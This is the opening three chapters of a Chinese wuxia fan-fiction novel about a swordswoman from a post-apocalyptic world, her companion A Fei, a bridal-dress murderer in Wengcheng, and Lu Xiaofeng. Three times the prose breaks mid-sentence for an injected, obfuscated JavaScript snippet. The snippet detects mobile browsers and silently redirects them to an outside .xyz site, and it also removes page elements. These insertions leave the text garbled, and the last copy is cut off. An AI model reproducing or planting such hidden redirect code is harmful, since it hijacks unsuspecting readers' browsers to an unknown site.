《[综武侠]恶女无法一往情深》
1. 第一章
雨后,屋内有些潮闷。
古怪的香味熏得寒江雪头脑昏沉,喘息困难,眼皮好似千斤重,她竭尽全力也只能使之掀开一丝缝隙。
烛光摇曳,将一束细长的身影投进她眼中,她凝神细看却只能看见满目模糊的鲜红色彩。
察觉到异样,寒江雪拖着身子往床里缩了缩,低头却发现自己身上也是一片刺目鲜红。
不是临睡前换上的雪白寝衣,她身上穿着的是一件陌生的嫁衣,绣着大团大团的华丽繁复的花朵。
“你……是谁?”
望着不断靠近的红影,她抓着被角,艰难开口,嗓音干哑滞涩。
红影没有作声,抬手扔出一张同样布满精致刺绣的红盖头,遮挡住她的视线。
满目鲜红,听不见来人的动静,寒江雪悄悄伸手摸向枕头下藏着的锋利匕首。
可来人显然很谨慎,用的迷香效果强劲,寒江雪握着匕首的手软的像春风中的柳枝。
没办法了……
她深吸一口气,低声恳求:“值钱的珠宝首饰都收在梳妆台里,我的小金库在墙角第三块砖缝里。壮士若是图财烦请自取,我绝对不会大呼小叫求救,事后也绝不会追讨寻仇。”
见红影不吱声,她豁出去的闭上眼,“壮士若是图色……图色的话我也不会反抗,只要别伤了我的性命!”
感受到脖子上突然覆上的手,寒江雪急切道:“我说真的,只要别杀我,壮士想怎么我都配合!”
脖子上的力道猛然加重,耳边一阵轰鸣,心脏急速跳动。
就在寒江雪哀叹吾命休矣时,紧闭的窗户突然被人叩向。
不轻不重,不徐不疾的三声。
红影手上没有放松,侧首望去,只见一抹倒挂的影子映在窗纸上。
“人家都已经说了不论图财还是图色都配合,你不回话就杀人未免太不礼貌了吧。”
虽然隔着窗户,那人又刻意放低了声音,但寒江雪还是听出来了。
又轻又软,是年轻女子的声音。
红影心下诧异,一边加重力道,一边不知从哪里变出一把匕首,反手扎向江雪心口。
“叮——”
千钧一发之际,红影手中的匕首被击落在地,遭受重创的手腕难以控制痉挛颤动。
窗外那抹倒挂的影子仍旧静静悬空着,只有雪白窗纸上多了一个小小的破洞。
红影低头,看着地上那颗滚动着的绿豆。
好快的速度!好劲的力道!
明白自己不是那人的对手,红影没有分毫犹豫,翻身跃出另一侧窗户逃之夭夭。
一脚踏进鬼门关又被捞回来的寒江雪没有急着大声呼救,叫人去追逃走的凶犯。
她捂着脖颈,咳得眼冒金星了还要踉跄着起身,一把推开窗户,半个身子扑到窗外,伸手胡乱攥住什么东西。
她有些心急,语速快得吓人。
“多谢女侠救我小命!不过女侠你千万不要当什么做好事不留名的大善人,趁我没力气直接一走了之,那我该去哪里找你。”
“女侠放心,我寒江雪虽然不是什么响当当的大人物,但也明白知恩不报是绝对不行的。值钱的珠宝首饰在梳妆台里,我的小金库就在墙角第三块砖缝里……”
叽叽喳喳说了一连串话后,好容易喘匀气的寒江雪终于看清了窗外人的样貌。
不久前才下过雨,雨停后清爽微凉的风吹进房中,吹灭摇摇欲坠的烛火。
屋里很暗,可她还是看的分明。
寒江雪呆呆的咽了口口水,好一会儿才游魂般开口。
“求色的话……也很可以。”
听到这话,原本打算求点财的金流立马改邪归正,决心当个做好事不留名的大善人。
此时不跑更待何时。
金流拽着腰带,挣扎着想扯回自己的东西。
二人拉扯间,寒江雪视线彻底恢复清明,这才看清楚自己手中攥着的原来是一只深绿色荷包的穗子。
荷包用的料子极其精细华贵,即便在夜色下也闪着丝丝缕缕光芒,正反两面各绣着一条黑色的小鱼,小鱼吐出一池泡泡,生动有趣。
女侠似乎很是宝贝这个荷包。
发现这事后,寒江雪眉头一挑。
她反手将穗子在手腕上缠了几圈。
好一招挟荷包以令恩人,让原本轻而易举就可以挣脱离开的人,不得不缩手缩脚的从梁柱上翻身而下。
完了,被缠上了。
金流一脸撞鬼了的神情,既惊恐又生无可恋。
一窗之隔,拿捏着包质的少女嘟嘟囔囔说个没完,言语间无不流露出崇拜与垂涎。
崇拜她的武力,垂涎她的美貌。
金流烦不胜烦,看着少女亮晶晶的眼睛,忽然灵光一动。
她忽然抬手指了指耳朵,放缓语速,一字一顿。
“你说什么?听不见,我听不见。”
她扯了扯荷包穗子,见寒江雪还是不松手,无奈的叹气。
“不用谢我,谢我我也听不见,我要走了,你松手。”
谁料寒江雪不仅不松手,还直接翻窗而出,毫不客气的贴着金流,凑近了看她的耳朵,伸手小心翼翼的碰了碰她的耳垂。
“没关系,我娘认识很多神医,他们一定能治好你,就算治不好也没关系,我可以做你的耳朵。”
见她拍着胸脯,越说越认真,连五年治疗计划,十年陪伴规划都列出来,金流吓了一跳,扯着着自己的荷包穗子,脚尖朝外,时刻准备开溜。
“听不见,我听不见。”金流欲哭无泪。
“没关系,我没关系。”寒江雪满脸严肃。
二人继续拉扯,荷包口不知什么时候松开,一颗颗圆润饱满的珠子咕咕噜噜滚落在地。
寒江雪见自己干了坏事,连忙一边道歉一边蹲下身捡拾。
忽然拾到一颗通体赤红的特别珠子,她迟疑道:“这也是…珍珠?”
见金流不说话,她以为是自己惹恼了她,立马战战兢兢如履薄冰的捡起剩下的珠子。
将洒落在地的珠子如数归还后,寒江雪丧眉搭眼的低着头,连比划带表情的表示歉意。
金流轻手轻脚的擦干净珠子上的灰,一颗一颗的放进荷包里,为了防止再出现诸如此类的意外,还给荷包系了个不怎么美观但绝对牢固的绳结扣。
做完这些后,趁寒江雪不注意,她脚尖一点,飞身后滑,刹那间两人便拉开距离。
见少女瞪大眼睛,一脸震惊茫然,金流得意洋洋邪气一笑,虎牙尖尖陷入艳色唇肉。
“骗你的,我当然听得见。”她哼哼几声,“还说什么报恩报恩,分明就是觊觎我的美色。”
纵身立在墙头,金流想了想,还是回头看了一眼,扬扬下巴。
“虽然你挺可爱的,但也不能随便扯别人荷包,再有下次我就把你的小金库全部偷光光。”
墙头的身影消失后,寒江雪独自在那里站了很久,久到天色蒙蒙亮,忙碌起来的丫头被她吓了一跳。
“小姐你怎么在这?”
寒江雪没有回答她,扯扯皱巴巴的婚服衣角。
“哼哼,早就知道你在骗我,什么听不见嘛。”
那边寒江雪去找娘和爹告状,誓要抓住想害她性命的诡异红影,这边同样受了“委屈”的金流也在告状。
“天气热了,你说绿豆熬汤能清火,我就想去借点。正好撞见了嘛,想着借了她家东西,就随手帮个忙,谁料就随便丢颗豆子,居然差点被拐走。”
金流忍不住叹气,“人果然不能像我一样优秀,要不然总会平添些烦恼。”
不远处正用自制的简陋渔具垂钓的阿飞思索片刻,确认这话没有任何不对,于是点头同意。
“你说得对。”
他不唱反调,金流反而觉得没意思,撑着下巴呆呆望着水面。
雨后天清气朗,河面清透如镜,映出人影。
二十多岁的女人,红唇雪肤,浓黑长发随手编成乱糟糟的辫子搭在肩上,辫尾上簪着一朵红色山茶花,面无表情时眉眼间聚着懒散阴郁,粲然一笑露出尖尖虎牙又可爱邪气。
穿着简单到极致的白裙却搭配着繁琐的广袖,身材丰满,充盈着力量感带来生机勃勃的俊美。
背上背着一把长刀,刀鞘猩红,没有一丝花纹。
金流双手叉腰,挑了挑眉,欣赏片刻后捡起一颗小石子扔进去,击碎平静水面。而后拎起阿飞身旁的鱼篓,大步往林子里走去。
“快去捡柴,姐姐给你烤鱼,你给我煮绿豆汤。”
“好。”
阿飞利索收好渔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431023|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
具,快步跟上,接过她手中的鱼篓,二人并排走入林中。
把啃得干干净净的零碎鱼骨扔进火堆,彻底泼灭余烬,金流擦擦嘴,取下分别架在两块石头上,充当烧烤支架的刀与剑,抖干净浮灰,把长剑递还给阿飞。
阿飞两根眉毛微微下压,接过剑仔仔细细擦了好几遍。
见他这幅神情,金流扁嘴,用力弹了弹手中雪白的刀身,漫不经心的归刀入鞘。
“用刀剑杀人为的是求活,用刀剑烤鱼填饱肚子为的也是求活,有什么舍不得。”
阿飞认为这话有点对,也有点不对,得不出答案就不开口,只用一双又冷又纯的眼睛直勾勾盯着她。
金流摸摸辫尾,干咳两声,也直勾勾盯回去。
盯着盯着便开始浮想联翩。
黑衣剑客很年轻,年轻到只能称作少年;很英俊,英俊得过分引人注目;可他又过分瘦削,过分冷漠,让人一眼就判断出不好接近。
他的剑算不上剑,只是两片软木半裹着三尺长的铁片,显得很可笑。
不过金流见识过,他的剑法可一点不可笑。
金流一口干掉竹筒中的绿豆汤,被烫的龇牙咧嘴,好半天缓过来后道:“要不是看你长得好看,才不会让你一直跟着我。”
初遇时,她只顾着看脸,完全没发现漂亮小剑客竟然是个实心眼、闷木头。不过纵然发现了,多看几眼这张脸也还是会色迷心窍。
阿飞闻言,用手背碰碰自己的脸,若有所思。
金流也伸手捏捏阿飞的脸颊,“怎么还是这么瘦?”
一个多月前,金流刚从山洞里出来,随便选了个方向,绕开人居前行。
毕竟是从末世来的,万一身上沾染着病毒,传染给他人可不好。
不久后,她遇见阿飞和一个个病恹恹的醉鬼,从他们身上验证出自己没有会传人的病毒,决定后面不再避着人前行。
冰天雪地,天寒地冻,醉鬼请她和阿飞喝了一壶酒,从没喝过酒的金流两口就晕眩得不知天地为何物。
不过身上到底比之前热乎,所以在醉鬼遭人暗算时,她来到此地后第一次拔刀,救了他一命。
也是在那时,阿飞决定跟着金流,等着看她再次拔刀。
金流戏谑的问他怎么不跟着其他人,年轻老成的小剑客一本正经道:“他们的刀剑没你有意思。”
金流拍拍他的脸颊,“小小年纪就这没意思那没意思的,姐姐我啊,可觉得到处都很有意思。”
那时的小剑客就很瘦,跟着她之后居然更瘦了。
金流开始反思。
之前一直生活在缺衣少食的末世,莫名其妙来这之后,林子里打的野鸡、水里摸的鱼、草丛里捡的蘑菇,随便煮煮就足够她惊叹人间美味,从不觉寒酸。
一个人时她想怎么过就怎么过,但小孩儿越养越瘦可还行。
养大她的两位丧尸妈妈都能把她养的白白胖胖,她养的孩子决不能比丧尸养的还瘦!
不过这只是金流冠冕堂皇的说辞,实际情况是昨晚去‘借’绿豆,她没忍住尝了几块厨房里放着的糕点,一口下去惊为天糕,彻底打开了新世界大门。
在末世出生,在末世成长,前七年吃丧尸妈妈们投喂的不明食物,后二十年吃末世通货——某种变异兽肉块,来到这里的前一个月蜗居沿海山洞,靠鱼肉果腹,下山之后几乎只在人迹罕至的深山野林行走的金流流下眼泪。
原来世上还有人在过这种好日子!
越想越兴奋,金流当即拍板。
“咱们也进城过好日子!”
——
过好日子的决心是下了没错,可谁叫她俩加在一起,身上都凑不出一个铜板,连入城费都交不起。
“没意思,真没意思!”她抱着刀蹲在墙根,愤愤的捶地,“什么都要银子的地方真没意思!”
路过进城卖菜的农妇看二人年纪轻轻,落魄至此,嗤笑不已。
“我们农家种地卖菜赚银子,你们江湖上的人动不动喊打喊杀,怎么不去杀人赚银子。”
金流没听出农妇话中的嘲讽,恍然大悟的抬头,正好跟阿飞对上目光。
金流:“好主意!”
阿飞:“……恐怕不好。”
金流激动搓手,“先别恐怕,咱先试试。”
2. 第二章
决心开始新业务的二人,刚踏出第一步就遇到难题。
虽然二人武功都很了得,无奈初出茅庐,在江湖上仍是无名之辈,自然不会有人找上门来。
二人又都是孤家寡人,没有丁点儿人脉可言,加之对世事交往一知半解,好几次推销业务时,差点被当做犯癔症,报官给抓走。
几次碰壁后,金流想起了她唯一认识且此刻应该有需求的人。
夜半三更,阴雨连绵。
高低起伏的屋檐上划过两道黑影,快得让起夜的小厮不住揉眼,看清空无一物后,打着哈欠回房继续睡觉。
后院主屋早已熄灯,主人半梦半醒间听见细微的响动,警觉的扒开床帐,四处探看。
“咕噜咕噜——”
是一颗小小绿豆。
寒江雪手一松,匕首再次隐蔽进柔软的枕头下。
“女侠!”
“又见面了。”白衣刀客半蹲着,扒着窗框,笑眯眯的招手。
寒江雪慌忙起身,迈步时才发现鞋子穿反,差点摔一跤。
踉跄之间,她面上的惊喜转变为惊恐,颤巍巍指向金流身后。
“小心!之前出事后我娘找了很多高手埋伏在周围,还有弓……”
话没说完,几架弓弩被挂到窗框上,金流摊手,“解决了。”
寒江雪松了一口气,交换好脚上的鞋子,脚步轻快走到窗边,正要开口表达自己的仰慕和欣喜,忽然看到隐匿在女侠身后的瘦高黑影。
金流双手环胸,饶有兴趣的欣赏少女面上那种低下头闻花,鼻尖正好凑到肥腻青虫上表情。
确认那根瘦高竹竿跟女侠没有除狗腿跟班外的关系后,寒江雪再次兴奋起来。
她将人请进屋里,强忍激动准备倾吐满腔热情。
金流早有预料,直截了当说明来意。
“看你家还在戒备,说明那贼人肯定没被抓住。”金流冲她挤挤眼,“我的本事你也了解,考不考虑雇佣我帮你解决他。”
提起此事,寒江雪正色起来。
茶杯在手中转了一圈,她没有第一时间给出答案,而是讲起自己这几天的经历。
自那日遭遇险情后,寒江雪一边派人外出追查,一边命人在府中日夜警戒。
几日过去,均没有什么收获。
好在那日歹人畏惧金流武力,遗落了一把匕首,也正是从这把匕首上,找到了唯一的线索。
匕首是很普通的匕首,除开锋利并无任何值得在意之处。寒江雪看了又看,才从匕首木柄上发现一处微不可见的划痕。
寒江雪叹气,“是女子指甲的划痕,力气很小,应该是没练过武功的闺阁女子。”
困居深宅,每日里抚琴绣花,拥有了男人们称赞的贤淑温婉,却失去了抵御危险的能力。
就连垂死挣扎时,也只能留下那样浅薄的痕迹。
“我娘一个鼻子很好用的手下,从匕首柄的划痕里,嗅出一丝残香,很特别的香气,是瓮城产的紫烟香。”
见二人一脸茫然,她细心解释。
瓮城地势极低,四面山峰隆起,将瓮城围困其中,由此得名瓮城。
寒府与瓮城相距不远,因有高山阻隔,平日甚少往来。
寒江雪她娘十几年前退出江湖,长久居于此地,平日里深居简出,除必要的采买置办,鲜少出门。
虽然府中仍养着一众武功高强的侍从手下,唯一的女儿也自小习武,但瓮城及周边有交集的城镇,都以为寒府中住的只是经商富裕的商贾。
若非如此,那只敢挥刀向孱弱闺阁女子的歹人,怎么胆敢入寒府行凶。
紫烟香则是瓮城特产。
因地势原因,瓮城闷热多雨,潮湿温暖,几乎整年阴云密布,难见阳光。
此种天气于人或许不太友好,却使得花草树木狂生疯长,还催生出一种极为特殊的花——紫烟花。
紫烟花花如其名,盛开时如紫色云雾,飘摇招展美不胜收。除观赏外,紫烟花最重要的用途是用来制作紫烟香。
紫烟香香味特殊,产量稀少,专供达官贵人,寻常人家难以得见。
“最重要的是,紫烟香无法长久存放,必须在新花开放前使用,如若不然香味就会散去,只余生涩苦味。”
“紫烟花每年一月底盛开,花开五日,只有开败之后的残花才能用来制香。制好的香还必须在瓮城中入坛密封一月,才能算真正成香。”
金流了然,“现在才二月底,今年的香还未制好。按理来说,除了瓮城里制香的人家,不会有人身上浸透着能残留到匕首上的浓重香气。”
寒江雪点头,“我们顺着线索查到瓮城,但瓮城制香人家何其多,原想着大海捞针也要捞,可……”
她停顿片刻,面露不忍,没再接着往下说,而是问道:“女侠可听说过鬼新娘?”
金流和阿飞这几日在周边城镇拉生意,见人就鬼鬼祟祟凑到身边问“要不要帮你杀人,收费合理,童叟无欺”。
收获了许多谩骂之余,也听到不少市井闲话,其中传的最沸沸扬扬的就是“瓮城鬼新娘”。
“知道一点,但不多。说是瓮城闹鬼,夜半三更常常看见穿着嫁衣的新娘,游荡在大街小巷。”
紧紧握着手中的茶杯,寒江雪咬牙冷笑,“闹鬼?可笑!我看是人心里有鬼。”
进入瓮城后,为避免打草惊蛇,寒府中人皆暗中调查。城中多数人家都为制香忙碌,查不出异常,反而是人迹罕至的山林中,出现令人毛骨悚然的景象。
他们在山中密林中发现六具尸体,穿着艳丽的新娘服饰,盖头之下年轻柔美的脸青灰腐败。
这些死去的女子都不是瓮城中人,山中又林阔草深,尸体很难被人发现,所以瓮城里除了出现“夜半鬼新娘”的志怪故事,总体仍一派安宁景象。
牵涉到六条性命,寒府没再只是私下调查,而是将此事上报官府。
官府出手,很快就找到六名女子的家人。
六人分别来自瓮城周边城镇,家中都是薄有资产的人家。女儿不见后,有几家爹娘报了官。没有打斗痕迹,没有尸体,官府判定是与情郎私奔,草草结案。
“可怜六位十几岁的少女,悄无声息挂在山林中,无人理睬的死去、腐烂。”
寒江雪极力克制,痛苦仇恨还是憋不住涌上喉咙。
阿飞自小与母亲生活在荒野中,虽见惯野兽间的弱肉强食,还是初闻人间恶事。
冷峻少年眉眼含煞,手指搭在腰间玩具似的铁片长剑上,仿佛下一秒就要拔剑杀人。
见俩人一个眼眶泛红,一个身体紧绷,金流默默低头。
等寒江雪平复好情绪,她才开口:“所以你考虑雇佣我吗?鉴于你是我第一个顾客,可以给你最最优惠的价格。”
发现寒江雪面露犹豫,连忙添油加柴。
“也许你们自己也能解决,不过再耽搁些时间,说不定又会有其他少女被害。我的本事你也见过,保证用最快速度,最残忍手段,把你恨得牙痒的歹人,解决的干干净净。”
寒江雪心动:“最快能多快?”
金流想了想,“把姓名住址告诉我,不远的话天亮前解决。”
“要是知道这些我们自己就能解决。”寒江雪撇嘴。
金流扯扯辫子,发尾的山茶花颤巍巍晃动。
“不然你选个全套服务,包找人,包杀人,包埋尸。”她嘿嘿一笑,“就是时间长一些,还有……要加钱。”
金流事先打探过价格,鉴于是第一单又算得上熟人,大方的给了个让她肉疼的价格。
七百两银子办事前给,三颗大珍珠事成后给。
谈好价格后,寒江雪浑身一松,把攥在手里一晚上的茶水泼在地上。
茶水沾地,瞬间翻滚起青绿色泡泡,嘶嘶拉拉的响声过后,坚硬青砖已经被腐蚀出两个大洞。
金流的目光从地上挪开,幽幽注视着寒江雪。
她则心虚一笑,尴尬摆手。
“哎呀哎呀,防人之心不可无嘛。”
开开心心清点好预付的银子后,金流干咳好几声,厚着脸皮摊开手心。
“再给我十个铜板嘛。你们这里好霸道,入个城还要一人交五文钱。”
瓮城中,紫烟花早已开败,紫烟香马上出坛,深深浅浅的清雅香气萦绕城中,久久不散。
阿飞拘谨的坐在窗边,目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431024|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望向窗外,游移不定。
街上行人不多,本地人正忙着制香赚钱,外地人大都不适应瓮城湿热气候,鲜少有像他和金流这样,正午时分出来闲逛的。
小二忙前忙后的上菜,热得满头大汗,心里想骂爹,掂量掂量荷包里沉甸甸的银块,又笑嘻嘻的凑上来添酒倒茶。
“客官今儿可是来对了!掌柜的今早刚进的活鱼,活蹦乱跳的养在水缸子里,我们瓮城南河的鱼鲜美少刺,经由我们家大厨巧手一烧,那滋味绝了!”
金流咽下嘴里的菜,“来一条。”
“好嘞!”
“吃药材长大的土鸡,肥美鲜嫩……”
“来一只。”
“大厨秘制糕点……”
“来……”
小二利落退下,包厢门合上的瞬间,还是没忍住多瞟了里面的姑娘几眼。
他一边脚步匆匆往后厨走去,一边不住念叨。
“长的好看又能吃,难不成是天仙下凡。”
楼下正在吃饭的男人闻言,饶有兴致的抬头看向楼上的包厢。
瞧见一盆盆色香味俱全的美食端进去,片刻就撤出空盘子,他忍不住瞪大眼睛,拦着小二,神色好奇。
“小哥,楼上包厢里几个人啊?”
小二讪讪一笑,压低声音答道:“贵客两位。”
男人还想再问,忽然门外走进一人,看见男人后不由分说的射出一根飞针。
飞针叮的一声插在菜盘中,盘子应声而碎。
“陆小凤!我看你往哪里跑!”
客栈里正在用餐的人听到这话,全都向男人投去目光。
“四条眉毛陆小凤?”
“不愧是浪子,又被女人找上门来。”
“姑娘长得挺美,可惜遇上了陆小凤。”
……
面对众人的议论,陆小凤苦笑着摸摸胡子,“薛大小姐不追,我自然就不跑。”
薛冰坐到陆小凤对面,取回那根飞针,怒气冲冲道:“你不跑我自然就不追。”
被薛冰如影随形的跟踪纠缠好几个月,明白委婉行事不成,陆小凤头一次对女人说这种直白得伤人心的话。
“薛大姑娘,你我都是江湖儿女,当初也是你情我愿,如今何不潇洒一点。”
“呵,潇洒。”薛冰冷笑。“不负责任就是不负责任,装什么装!当初是你柔情蜜意、山盟海誓,才哄骗走我的真心,若是一开始你坦言只是玩玩,我自然会好聚好散,才不会跟你浪费时间。”
周遭看客跟着起哄,“四条眉毛陆小凤是江湖上有名的浪子,姑娘与他结识的时候就该知道。更何况男人说的甜言蜜语,许的海誓山盟,本就是有时限的,不可信,不可信啊。”
他们说的话不好听,陆小凤却无法反驳,好一会儿才悻悻道:“情爱一事本就如此,随时来随时走,我也并非不曾真心相待,只是真心易变。再说世上也不会有谁只靠情爱过活,没了爱情就活不下去,没了某人就要死要活。所以薛大姑娘,咱们念着美好过往,继续向前不好吗?”
“爱情不是那样算的。”听到这话,薛冰反而冷静下来。
“或许真是我不该信你。但陆小凤你以为你会一辈子顺风顺水吗?”
“你如此作弄感情,必定会反噬自身。”
“早晚有一天,你会遇到离不开、放不下、要死要活求着她,告诉她你没有她会死的人,等到那时,她想起你浪子的名号,质疑嫌弃厌恶你的爱意,你就会明白,你现在有多可悲可笑可恨。”
语毕,薛冰趁陆小凤愣神,手中又射出一根银针,见他险险躲过,啧了一声后,起身离开。
瓮城的阳光久违的刺破阴云,洒在她飞扬的发丝之上,淡青衣角扫过路面上残留的紫烟花瓣,掀起余味苦涩的香风。
望着她的背影,陆小凤眼神迷茫,连摸好几下胡子,耸耸肩继续吃饭。
听到争吵声开门看热闹的金流,瞧见陆小凤桌上那道没点到的菜,心里发痒。
她倚在栏杆上,托着下巴,轻轻一笑,露出尖尖虎牙。
“喂,你吃的那道菜好吃吗?”
陆小凤抬头,四目相对间,他的心重重一跳。
3. 第三章
陆小凤心中浮现不详预感,却仍偏向虎山行。
当然也可能只是见色心起,浪子病发。
总之,金流结完账后,身边就缀上一只殷勤的红披风侠客。
对此,金流不甚在意,阿飞凝眉握剑。
“他不像好人。”想起在客栈中听到的谈话,阿飞反感更甚,侧过身子挤开试图贴近金流的陆小凤。
金流上下端详一番,认同颔首,“确实不像。”
“真是冤枉。”
陆小凤抓耳挠腮的想解释,金流根本不听,冲阿飞挤挤眼睛。
麻烦鬼,咱们想办法甩掉他。
阿飞心领神会,飞快出手把陆小凤往右一转,推进路边说闲话的男人堆里,等他反应过来挤出人群,两人早已不见踪影。
陆小凤只能鼓掌感叹,“好轻功。”
————
三月初,是瓮城一年中最为重要的日子。
密封一月的紫烟香即将开坛,制香成功与否,决定了他们这一年将如何生活。
虽然瓮城中十有九户都在制香,但制作顶级紫烟香的手艺,却只掌握在少数人手中。
寻常人家制成的香有好有坏,若有技艺不成熟者,还极有可能制出废香。因此凡是制出成功的人家,头三天都会彻夜燃香,以敬香神。
“阿嚏!”金流揉揉鼻子,颓丧的把脑袋埋进阿飞结实的胸口。
“我不行了。再闻下去我的鼻子就要彻底失去作用,成为负责美观的摆设。”
阿飞下意识想躲,不知为何又僵硬的挺直身板。
少年剑客望天望地,踌躇许久后,摘一朵易碎鲜花般的虚虚环住她的腰,梗直的脖子又红又烫。
“你不喜欢,我们不做了。”
“那可不行!”金流猛然抬头,没防备正好磕在阿飞下巴上。
“嘶——”
管他多厉害的武功也扛不住如此伤害。
她皱巴着脸揉揉头顶,见阿飞下巴被她撞红,心虚不以的替他揉揉下巴,越揉越红。
不行,三颗珍珠的尾款还没结,她是不会放过任何一颗胖乎乎、圆滚滚还亮晶晶的珍珠的!
留香如此持久,匕首上残留绝不会是一般货色,至少要是中高级品质的紫烟香,瓮城中能制出此等紫烟香的人家,能数出近百家。
他们都得一一探查筛选,缩小目标。
“还剩几十家,我们再坚持坚持,争取今天完成第一次筛选。”
金流握拳给自己鼓劲,动作牵动腰带,腰间鼓鼓囊囊的荷包,晃晃悠悠落地,珠子挨挤碰撞,发出清脆声响。
我的珠珠!
惊慌失措俯身捡荷包的瞬间,一丝极为熟悉的香气从鼻尖掠过,金流循着香味看去,眼前一片赤红翻飞。
……
连日暴雨,山中泥泞湿滑,就连最为老练的猎人也不敢贸然进入,外地人陆小凤出现在此,就显得尤为可疑。
更别提刚才金流还在他身上闻到了顶级紫烟香的气味。
“他很古怪。”
金流扒着树干,探出小半个脑袋,凝视他那片被灌木枝叶刮来刮去的披风,“没有哪个正常人会穿成这样在山里闲逛。”
阿飞不语,目光先是落到她被树枝蹭破的繁琐广袖,继而下滑到染上泥水的雪白裙边。
金流卷起袖子,硬气反驳,“我是事出有因。”
为了证明如此着装对自如行走不会有任何影响,金流刻意加快脚步,妄图在一步一陷的泥泞山间,走出如履平地的轻快。
事实证明,湿滑泥地比水面更难以掌控。
阿飞熟练接住滑倒的金流,俯身屈膝半蹲着卷起潮湿裙摆,为她清理陷脚的淤泥。
一个月前,若是有人告诉他,你会拜倒在石榴裙下,低头为女人擦鞋,阿飞手中的剑会证明,他的骄傲与尊严。
现在,阿飞会坦然承认,“对金流低头不是折辱。”
金流单手撑着他的肩膀,居高临下的凝视略显单薄的剑客。
看他密而卷的睫毛,挺而翘的鼻梁。
看他抿紧时写满倔强冷傲,放松后残留纯然许稚气的双唇。
看他笔直凸起的脊骨,再往下紧实优美的弧线轮廓。
荒山野岭,孤男寡女,树影婆娑,虫鸣啾啾。
直白的目光化作炭火烤热的铁链,滑动、收紧、捆缚,让少年剑客饱受炙烤煎熬,无所适从。
他无法控制呼吸,大脑近乎空白。
有沁凉指尖顺着发丝,划过高高低低的起伏,最后落在唇角,缓缓揉搓几下。
浅浅的香气萦绕鼻尖,不是紫烟香,他喜欢的不行。
阿飞说不出是种什么感受,下意识想逃,又想要她再更用力一点。
露水勾着叶尖滑落,滴答滴答。
情潮汹涌,悸动难耐,惆怅千回,情丝百转。
对此,一无所知的年轻剑客无措又期待。
金流微微弯腰,双手捧起少年的脸,凑的很近,声音轻飘飘的。
“阿飞已经长大了吗?”
“长大?”他气闷的想攥紧她的手,染着泥灰的手指动作几下,最终放弃。
“别把我当小孩,很多事我只是还不懂,不是不能懂。”
少年苍白英俊的脸乖巧躺在她手心,初见时狼一样倔强冷漠的眼睛,此刻潮湿水润,写满驯服。
金流低笑着骂了句。
处在青涩与成熟、少年与男人的分界线,一枚红了一半的果子,主动转过身,把最诱人的那面对着她。
他引诱她来咬一口,信誓旦旦的保证,他比她见过、拥有过的更为可口。
“既然你邀请我……”
“喂喂,你们能不能认真点,要跟踪我就好好跟踪。”
眼见烈火就要点燃干柴,见二人完全不打算遮掩,实在看不下去的陆小凤横插一脚,彻底打破暧昧氛围。
“啧。”
金流直起身,白了眼扫兴鬼,用力把陆小凤按在树干上摩擦。
“既然你不识相,正好免去其他流程,直接原地拷打。劝你立刻老实交代,我有的是手段……”
阿飞板着脸,低气压的拔剑,出口的话像硬邦邦的石头。
“说!”
陆小凤赶忙举起双手,“我没说不交代,不过在我交代前,你们是不是得先说说,为什么跟踪我?”
金流:“自然是因为你不像好人。”
陆小凤笑的很命苦,“不像不代表不是。再说明明你俩的行为,才更不像好人。”
跟踪、威胁、审讯,哪个好人做得出来。
“猜对了。”金流挑眉,用力掰他的小指。“所以快点交代,不然杀人埋尸很费力。”
“诶诶诶,轻点呀。”陆小凤心累肉疼,陆小凤识时务的认栽。
陷入一桩迷案,找出一件真相,抓出一个罪人,失去一位好友。
他重复着识人不清、惨遭背刺的循环,按理说要是其他人遭遇这些事,大都会难以再对人交付信任,整日疑神疑鬼,惶惶不可终日。
陆小凤不一样。
不管受到多少次背叛,他仍旧相信自己的直觉。
面前的一男一女虽然行为古怪,但他坚信,他们决不是十恶不赦的坏人。
“我可以告诉你们我的秘密,但你们必须答应我一个要求。”
陆小凤漆黑的眼珠中凝着郑重,轻声叹气。
“请务必温柔的对待这个秘密。”
阿飞压着陆小凤继续上山,三人行至山腰,雨水忽至。细密雨丝穿透层层叠叠粗枝密叶,融成大颗雨滴,滴滴答答砸落。
已是初春,雨水的寒气仍未消解。
衣衫彻底湿透前,不远处出现一座半掩在林间的破庙。
破败不堪的墙体在风雨中摇摇欲坠,只剩半扇的木门上,残留着半个斑驳血掌印。
迈过坑坑洼洼的门槛,扑面而来的是灰尘和霉味。
不过与面外看见的上无好瓦,下无净土的凄凉景象不同,庙里一角头上瓦片整齐,地上燃着火堆,陈年干草被仔细抖净灰土,草堆上铺了件外衣,外衣上一位年轻姑娘背对火堆沉沉睡着。
浪子与姑娘,陈词滥调,恨海情天。
浪子与昏睡的嫁衣姑娘,真凶无疑!
金流不语,指尖轻点刀鞘。
“你要解释吗?”
陆小凤甚至感到欣慰,“多谢你这次愿意给我解释的机会。是这样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 